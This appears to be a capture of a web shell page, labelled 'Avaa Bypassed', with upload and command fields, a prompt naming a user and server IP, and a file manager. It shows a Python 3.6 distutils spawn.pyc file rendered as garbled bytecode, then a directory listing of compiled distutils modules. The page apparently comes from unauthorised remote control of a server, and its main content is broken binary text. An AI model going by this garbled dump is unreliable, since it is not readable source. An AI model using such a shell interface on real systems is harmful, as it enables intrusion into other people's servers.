404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@52.15.57.54: ~ $
3


 \�@s�dZddlZddlZddlmZmZddlmZddlm	Z	ddd�Z
d	d
�Zddd�Zej
d
krvddlmZdadaddd�Zddd�ZdS)z�distutils.spawn

Provides the 'spawn()' function, a front-end to various platform-
specific functions for launching another program in a sub-process.
Also provides the 'find_executable()' to search the path for a given
executable name.
�N)�DistutilsPlatformError�DistutilsExecError)�DEBUG)�log�cCsNt|�}tjdkr"t|||d�n(tjdkr<t|||d�ntdtj��dS)a�Run another program, specified as a command list 'cmd', in a new process.

    'cmd' is just the argument list for the new process, ie.
    cmd[0] is the program to run and cmd[1:] are the rest of its arguments.
    There is no way to run a program with a name different from that of its
    executable.

    If 'search_path' is true (the default), the system's executable
    search path will be used to find the program; otherwise, cmd[0]
    must be the exact path to the executable.  If 'dry_run' is true,
    the command will not actually be run.

    Raise DistutilsExecError if running the program fails in any way; just
    return on success.
    �posix)�dry_run�ntz1don't know how to spawn programs on platform '%s'N)�list�os�name�_spawn_posix�	_spawn_ntr)�cmd�search_path�verboser�r�'/usr/lib64/python3.6/distutils/spawn.py�spawns

rcCs.x(t|�D]\}}d|kr
d|||<q
W|S)z�Quote command-line arguments for DOS/Windows conventions.

    Just wraps every argument which contains blanks in double quotes, and
    returns a new argument list.
    � z"%s")�	enumerate)�args�i�argrrr�_nt_quote_args+srcCs�|d}t|�}|r t|�p|}tjdj|g|dd���|s�ytjtj||�}Wn@tk
r�}z$t	sp|}t
d||jdf��WYdd}~XnX|dkr�t	s�|}t
d||f��dS)Nrrrzcommand %r failed: %sz%command %r failed with exit status %d���)r�find_executabler�info�joinr�spawnv�P_WAIT�OSErrorrrr)rrrr�
executableZrc�excrrrr;s$&r�darwin)�	sysconfigcCsxtjdj|��|rdS|d}|r*tjp.tj}d}tjdkr�tdkrlt	j
d�pRdatrldd�tjd�D�atr�tj
jdt�}td	d�|jd�D�kr�d
|tf}t|��ttj
|d�}|r�tjp�tj}tj�}	|	dk�rvy$|dkr�|||�n||||�WnNtk
�rL}
z0t�s|}tjjd||
jf�tjd
�WYdd}
~
XnXt�sX|}tjjd|�tjd
��n��x�ytj|	d�\}	}WnDtk
�r�}z&t�s�|}td||jdf��WYdd}~XnXtj|��rt�s�|}td|tj|�f��nltj|��rBtj |�}
|
dk�r&dSt�s0|}td||
f��n,tj!|��rT�qznt�s^|}td||f���qzWdS)Nrrr$�MACOSX_DEPLOYMENT_TARGET�cSsg|]}t|��qSr)�int)�.0�xrrr�
<listcomp>esz _spawn_posix.<locals>.<listcomp>�.cSsg|]}t|��qSr)r()r)r*rrrr+kszF$MACOSX_DEPLOYMENT_TARGET mismatch: now "%s" but "%s" during configure)r&zunable to execute %r: %s
rz(unable to execute %r for unknown reasonszcommand %r failed: %sz"command %r terminated by signal %dz%command %r failed with exit status %dz1unknown error executing %r: termination status %dr)"rrrr�execvp�execv�sys�platform�_cfg_targetr%�get_config_var�split�_cfg_target_split�environ�getr�dict�execvpe�execve�forkr!r�stderr�write�strerror�_exit�waitpidrr�WIFSIGNALED�WTERMSIG�	WIFEXITED�WEXITSTATUS�
WIFSTOPPED)rrrrr"Zexec_fn�envZ
cur_targetZmy_msg�pid�eZstatusr#Zexit_statusrrrr
Xs�



&

r
cCs�|dkrtjjdtj�}|jtj�}tjj|�\}}tj	dkrN|dkrN|d}tjj
|�s�x*|D]"}tjj||�}tjj
|�r`|Sq`WdS|SdS)z�Tries to find 'executable' in the directories listed in 'path'.

    A string listing directories separated by 'os.pathsep'; defaults to
    os.environ['PATH'].  Returns the complete filename or None if not found.
    N�PATHZwin32z.exe)rr5r6�defpathr3�pathsep�path�splitextr/r0�isfiler)r"rK�paths�baseZext�p�frrrr�s
r)rrr)rrr)rrr)N)�__doc__r/rZdistutils.errorsrrZdistutils.debugrZ	distutilsrrrrr0r%r1r4r
rrrrr�<module>s



Q

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 378 B 0644
__init__.cpython-36.opt-2.pyc File 196 B 0644
__init__.cpython-36.pyc File 378 B 0644
_msvccompiler.cpython-36.opt-1.pyc File 13.18 KB 0644
_msvccompiler.cpython-36.opt-2.pyc File 12.39 KB 0644
_msvccompiler.cpython-36.pyc File 13.24 KB 0644
archive_util.cpython-36.opt-1.pyc File 6.37 KB 0644
archive_util.cpython-36.opt-2.pyc File 4.38 KB 0644
archive_util.cpython-36.pyc File 6.37 KB 0644
bcppcompiler.cpython-36.opt-1.pyc File 6.33 KB 0644
bcppcompiler.cpython-36.opt-2.pyc File 6.05 KB 0644
bcppcompiler.cpython-36.pyc File 6.33 KB 0644
ccompiler.cpython-36.opt-1.pyc File 32.44 KB 0644
ccompiler.cpython-36.opt-2.pyc File 16.47 KB 0644
ccompiler.cpython-36.pyc File 32.57 KB 0644
cmd.cpython-36.opt-1.pyc File 14.64 KB 0644
cmd.cpython-36.opt-2.pyc File 8.78 KB 0644
cmd.cpython-36.pyc File 14.64 KB 0644
config.cpython-36.opt-1.pyc File 3.41 KB 0644
config.cpython-36.opt-2.pyc File 3.02 KB 0644
config.cpython-36.pyc File 3.41 KB 0644
core.cpython-36.opt-1.pyc File 6.64 KB 0644
core.cpython-36.opt-2.pyc File 3.34 KB 0644
core.cpython-36.pyc File 6.64 KB 0644
cygwinccompiler.cpython-36.opt-1.pyc File 8.31 KB 0644
cygwinccompiler.cpython-36.opt-2.pyc File 6.72 KB 0644
cygwinccompiler.cpython-36.pyc File 8.31 KB 0644
debug.cpython-36.opt-1.pyc File 188 B 0644
debug.cpython-36.opt-2.pyc File 188 B 0644
debug.cpython-36.pyc File 188 B 0644
dep_util.cpython-36.opt-1.pyc File 2.64 KB 0644
dep_util.cpython-36.opt-2.pyc File 1.23 KB 0644
dep_util.cpython-36.pyc File 2.64 KB 0644
dir_util.cpython-36.opt-1.pyc File 5.67 KB 0644
dir_util.cpython-36.opt-2.pyc File 3.35 KB 0644
dir_util.cpython-36.pyc File 5.67 KB 0644
dist.cpython-36.opt-1.pyc File 33.41 KB 0644
dist.cpython-36.opt-2.pyc File 24.33 KB 0644
dist.cpython-36.pyc File 33.41 KB 0644
errors.cpython-36.opt-1.pyc File 5.35 KB 0644
errors.cpython-36.opt-2.pyc File 2.77 KB 0644
errors.cpython-36.pyc File 5.35 KB 0644
extension.cpython-36.opt-1.pyc File 6.79 KB 0644
extension.cpython-36.opt-2.pyc File 3.38 KB 0644
extension.cpython-36.pyc File 6.79 KB 0644
fancy_getopt.cpython-36.opt-1.pyc File 10.26 KB 0644
fancy_getopt.cpython-36.opt-2.pyc File 7.51 KB 0644
fancy_getopt.cpython-36.pyc File 10.4 KB 0644
file_util.cpython-36.opt-1.pyc File 5.76 KB 0644
file_util.cpython-36.opt-2.pyc File 3.67 KB 0644
file_util.cpython-36.pyc File 5.76 KB 0644
filelist.cpython-36.opt-1.pyc File 9.55 KB 0644
filelist.cpython-36.opt-2.pyc File 6.74 KB 0644
filelist.cpython-36.pyc File 9.63 KB 0644
log.cpython-36.opt-1.pyc File 2.25 KB 0644
log.cpython-36.opt-2.pyc File 2.19 KB 0644
log.cpython-36.pyc File 2.25 KB 0644
msvc9compiler.cpython-36.opt-1.pyc File 16.97 KB 0644
msvc9compiler.cpython-36.opt-2.pyc File 15.39 KB 0644
msvc9compiler.cpython-36.pyc File 17.04 KB 0644
msvccompiler.cpython-36.opt-1.pyc File 14.23 KB 0644
msvccompiler.cpython-36.opt-2.pyc File 12.68 KB 0644
msvccompiler.cpython-36.pyc File 14.23 KB 0644
spawn.cpython-36.opt-1.pyc File 4.88 KB 0644
spawn.cpython-36.opt-2.pyc File 3.6 KB 0644
spawn.cpython-36.pyc File 4.88 KB 0644
sysconfig.cpython-36.opt-1.pyc File 11.64 KB 0644
sysconfig.cpython-36.opt-2.pyc File 8.24 KB 0644
sysconfig.cpython-36.pyc File 11.64 KB 0644
text_file.cpython-36.opt-1.pyc File 8.26 KB 0644
text_file.cpython-36.opt-2.pyc File 3.28 KB 0644
text_file.cpython-36.pyc File 8.26 KB 0644
unixccompiler.cpython-36.opt-1.pyc File 6.69 KB 0644
unixccompiler.cpython-36.opt-2.pyc File 6.08 KB 0644
unixccompiler.cpython-36.pyc File 6.69 KB 0644
util.cpython-36.opt-1.pyc File 15.16 KB 0644
util.cpython-36.opt-2.pyc File 9.24 KB 0644
util.cpython-36.pyc File 15.16 KB 0644
version.cpython-36.opt-1.pyc File 7.14 KB 0644
version.cpython-36.opt-2.pyc File 3.93 KB 0644
version.cpython-36.pyc File 7.18 KB 0644
versionpredicate.cpython-36.opt-1.pyc File 4.96 KB 0644
versionpredicate.cpython-36.opt-2.pyc File 2.54 KB 0644
versionpredicate.cpython-36.pyc File 4.96 KB 0644